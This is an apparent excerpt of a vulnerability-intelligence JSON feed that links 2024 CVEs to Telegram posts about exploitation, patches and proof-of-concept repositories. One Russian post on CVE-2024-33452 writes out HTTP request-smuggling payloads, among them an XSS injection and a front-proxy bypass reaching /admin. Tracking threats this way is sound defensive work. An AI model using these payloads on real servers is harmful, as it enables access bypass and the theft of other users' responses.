"2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33789", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2435", "content": "https://github.com/ymkyu/CVE/tree/main/CVE-2024-33789\n\ncve-2024-33789\n#github #exploit #IoT", "creation_timestamp": "2024-07-09T16:22:52.000000Z"}, {"uuid": "b650eea5-40c5-48c2-9304-90ffd869cfd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/androidMalware/2297", "content": "BlueStacks (Android emulator) privilege escalation through VM backdooring (CVE-2024-33352)\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-08-16T08:21:03.000000Z"}, {"uuid": "64112fc9-f0b0-419d-991b-5d34757e7a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "https://t.me/thehackernews/6092", "content": "\ud83d\udd25 CVE-2024-3393 Alert! A single malicious DNS packet can reboot your Palo Alto firewall and leave your network defenseless. \n \nImportant to Know: \n\u00bb This flaw impacts PAN-OS 10.X & 11.X, including Prisma Access. \n\u00bb Repeated attacks could force your firewall into maintenance mode. \n\u00bb Legacy PAN-OS 11.0 users? No fixes\u2014it\u2019s time to upgrade! \n \n\u2699\ufe0f How to Fix: \n\u00bb Update to PAN-OS 10.1.14-h8 or later. \n\u00bb Use workarounds to disable risky logging until upgrades are complete. \n \nRead now: https://thehackernews.com/2024/12/palo-alto-releases-patch-for-pan-os-dos.html", "creation_timestamp": "2024-12-27T08:39:08.000000Z"}, {"uuid": "938ea1ef-b124-4e03-9be1-46be1d74234c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://t.me/xakep_ru/16914", "content": "Palo Alto Networks \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 PAN-OS, \u0438 \u0441\u0432\u0435\u0436\u0438\u0439 \u0431\u0430\u0433 \u0443\u0436\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u0445\u0430\u043a\u0435\u0440\u044b\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Palo Alto Networks \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0432\u0435\u0436\u0443\u044e DoS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-3393, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u043e\u0432, \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0438\u0445 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c\u0441\u044f. \u041c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044f\u0442 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c, \u0438 \u0434\u043b\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0445 \u0440\u0430\u0431\u043e\u0442\u044b \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0440\u0443\u0447\u043d\u043e\u0435 \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e.\n\nhttps://xakep.ru/2024/12/28/pan-os-dos/", "creation_timestamp": "2024-12-28T13:37:13.000000Z"}, {"uuid": "e740bc7f-48c8-4844-a789-f2e4f28bbc49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33066", "type": "seen", "source": "https://t.me/CyberBulletin/26001", "content": "\u26a1\ufe0fQualcomm Patched Multi Flaws, Including 0-day CVE-2024-43047 & RCE (CVE-2024-33066, CVSS 9.8).\n\n#CyberBulletin", "creation_timestamp": "2024-10-07T13:12:47.000000Z"}, {"uuid": "928bf8fc-ca30-4bac-b58e-0d4c986ad554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2875", "content": "https://github.com/mmiszczyk/CVE-2024-33352\n\nBlueStacks privilege escalation through VM backdooring\n#github #poc", "creation_timestamp": "2024-07-27T15:49:08.000000Z"}, {"uuid": "05e2101d-f17b-4abb-bb12-9035510d140b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33605", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2922", "content": "CVE-2024-33605\n\nGET /installed_emanual_list.html\n\n#exploit #poc", "creation_timestamp": "2024-07-30T18:00:59.000000Z"}, {"uuid": "e663a647-846e-48e5-b16c-865e5a0a515b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33438", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2377", "content": "https://github.com/julio-cfa/CVE-2024-33438\n\nCubeCart <= 6.5.4 is vulnerable to an arbitrary file upload that leads to remote code execution (RCE).\n#github #poc", "creation_timestamp": "2024-07-27T09:02:00.000000Z"}, {"uuid": "1ff7af87-c911-4b3e-b7f6-6c3f2c75ec16", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "exploited", "source": "https://t.me/S_E_Reborn/5492", "content": "\ud83d\udd03 OpenResty/lua-nginx-module: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c HTTP Request Smuggling \u0432 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 CVE-2024-33452. \u041f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 HTTP/1.1-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 lua-nginx-module \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0441 \u0442\u0435\u043b\u043e\u043c, \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044f \u0442\u0435\u043b\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a\u0430\u043a \u043d\u043e\u0432\u044b\u0439 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u041f\u0440\u0438\u043c\u0435\u0440\n\n\u041e\u0431\u044b\u0447\u043d\u043e \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u044b\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 GET /smuggle \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0442\u0435\u043b\u0435 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u0430:\n\nHEAD / HTTP/1.1\nHost: localhost\nContent-Length: 52\n\nGET /smuggle HTTP/1.1\nHost: localhost\n\n\u041e\u0434\u043d\u0430\u043a\u043e lua-nginx-module \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u0434\u0432\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435.\n\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0430\u0442\u0430\u043a\n\n\u041f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 lua-nginx-module, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Kong Gateway, Apache APISIX \u0438 \u0434\u0440\u0443\u0433\u0438\u0435).\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u0441 Kong Gateway\n\n\u0415\u0441\u043b\u0438 Kong \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u0441\u043e\u0431\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041d\u043e \u0435\u0441\u043b\u0438 Kong \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0444\u0440\u043e\u043d\u0442-\u043f\u0440\u043e\u043a\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, Nginx, Cloudflare \u0438 \u0442. \u0434.), \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442:\n 1. \u0412\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, XSS-\u0430\u0442\u0430\u043a\u0438).\n 2. \u041e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u0444\u0440\u043e\u043d\u0442-\u043f\u0440\u043e\u043a\u0441\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0445\u043e\u0434 Cloudflare).\n 3. \u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n1\ufe0f\u20e3 \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 XSS \u0447\u0435\u0440\u0435\u0437 \u0441\u043c\u0443\u0433\u043b\u0438\u043d\u0433\n\n\u042d\u0442\u043e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0441\u0435\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442 \u0441 XSS-\u043a\u043e\u0434\u043e\u043c, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0441\u0430\u0439\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0431\u044b\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 Apache.\n\nHEAD / HTTP/1.1\nHost: localhost\nContent-Length: 122\n\nHEAD /app HTTP/1.1\nHost: localhost\nConnection: keep-alive\n\nGET /app/assets?alert(origin) HTTP/1.1\nX:\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: \u0412\u0441\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u043f\u043e\u043b\u0443\u0447\u0430\u0442 XSS-\u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u043e\u0442\u0432\u0435\u0442\u0435.\n\n2\ufe0f\u20e3 \u041e\u0431\u0445\u043e\u0434 \u0437\u0430\u0449\u0438\u0442\u044b \u0444\u0440\u043e\u043d\u0442-\u043f\u0440\u043e\u043a\u0441\u0438 (Cloudflare)\n\n\u0414\u043e\u043f\u0443\u0441\u0442\u0438\u043c, Cloudflare \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a /admin. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u044c GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u043a /admin \u0432\u043d\u0443\u0442\u0440\u0438 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443.\n\n\u041f\u0440\u0438\u043c\u0435\u0440:\n\nHEAD / HTTP/1.1\nHost: victim.com\nContent-Length: 40\n\nGET /admin HTTP/1.1\nHost: victim.com\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: Cloudflare \u043d\u0435 \u0443\u0432\u0438\u0434\u0438\u0442 GET-\u0437\u0430\u043f\u0440\u043e\u0441, \u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443.\n\n3\ufe0f\u20e3 \u041a\u0440\u0430\u0436\u0430 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439\n\n\u042d\u0442\u043e\u0442 \u043c\u0435\u0442\u043e\u0434 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u041f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438\n 1. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 HEAD-\u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u0432\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u044b\u043c GET-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c.\n 2. \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u0435\u0442 \u0442\u0435\u043b\u043e \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441.\n 3. \u041e\u0442\u0432\u0435\u0442 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e, \u0430 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u0431\u0440\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438\n\n\u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u0431\u043b\u043e\u0433\u0435 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435.\n\n#web #hrs #xss", "creation_timestamp": "2025-03-20T05:29:59.000000Z"}, {"uuid": "982b1e9a-a89f-42a8-b060-975d429df559", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33655", "type": "exploited", "source": "https://t.me/S_E_Reborn/4776", "content": "\u034f\u041a\u043e\u043c\u0430\u043d\u0434\u0430 \u0443\u0447\u0435\u043d\u044b\u0445 \u0438\u0437 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0426\u0438\u043d\u0445\u0443\u0430 \u0432 \u041f\u0435\u043a\u0438\u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 DDoS-\u0430\u0442\u0430\u043a \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c DNS-\u0442\u0440\u0430\u0444\u0438\u043a\u0430.\n\n\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 DNSBomb \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442  DDoS-\u0430\u0442\u0430\u043a\u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 2003 \u0433\u043e\u0434\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c TCP-\u0438\u043c\u043f\u0443\u043b\u044c\u0441\u043e\u0432.\n \n\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u0443 \u0436\u0435 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044e, \u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0435\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f DNS \u0438 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b DNS-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432.\n\n\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0441\u0442\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, DNSBomb \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0445 DNS-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043d\u0430 DNS-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u0430\u044e\u0442 \u0434\u0430\u043d\u043d\u044b\u0435, \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u044f \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0443\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044f \u0435\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u0443\u043b\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0440\u0430\u0437\u0443 \u0432 \u0438\u043c\u043f\u0443\u043b\u044c\u0441\u0435 DNS-\u0442\u0440\u0430\u0444\u0438\u043a\u0430 \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u0446\u0435\u043b\u044c.\n\nDNSBomb \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2024-33655, \u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u043c\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043f\u043e \u043d\u0435\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u043d\u0430 \u0441\u0438\u043c\u043f\u043e\u0437\u0438\u0443\u043c\u0435 IEEE \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 \u0421\u0430\u043d-\u0424\u0440\u0430\u043d\u0446\u0438\u0441\u043a\u043e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0441\u0432\u043e\u044e \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u043d\u0430 10 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u0445 DNS \u0438 46 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u043b\u0443\u0436\u0431\u0430\u0445 DNS \u0438 \u0441\u043c\u043e\u0433\u043b\u0430 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c DNSBomb \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e \u0434\u043e 8,7 \u0413\u0431\u0438\u0442/\u0441, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c DNS-\u0442\u0440\u0430\u0444\u0438\u043a \u0431\u044b\u043b \u0443\u0432\u0435\u043b\u0438\u0447\u0435\u043d \u0434\u043e 20 000 \u043e\u0442 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430.\n\n\u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0446\u0438\u0444\u0440\u044b \u0432 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 DNSBomb \u043f\u043e\u043c\u0438\u043c\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0438 \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0431\u043e\u0442\u043d\u0435\u0442\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0443\u0441\u043b\u0443\u0433 \u043f\u043e DDoS.\n\n\u041f\u0440\u0430\u0432\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0435 \u0432\u0441\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u0430\u043c, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c 24 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0436\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.", "creation_timestamp": "2024-05-23T10:42:07.000000Z"}, {"uuid": "01bb9438-e487-4a53-ab99-19317d6b2923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "https://t.me/LearnExploit/6657", "content": "Linksys routers POCs\n\nCVE-2024-33788  \n\nCVE-2024-33789 \n\n#Cve #Poc 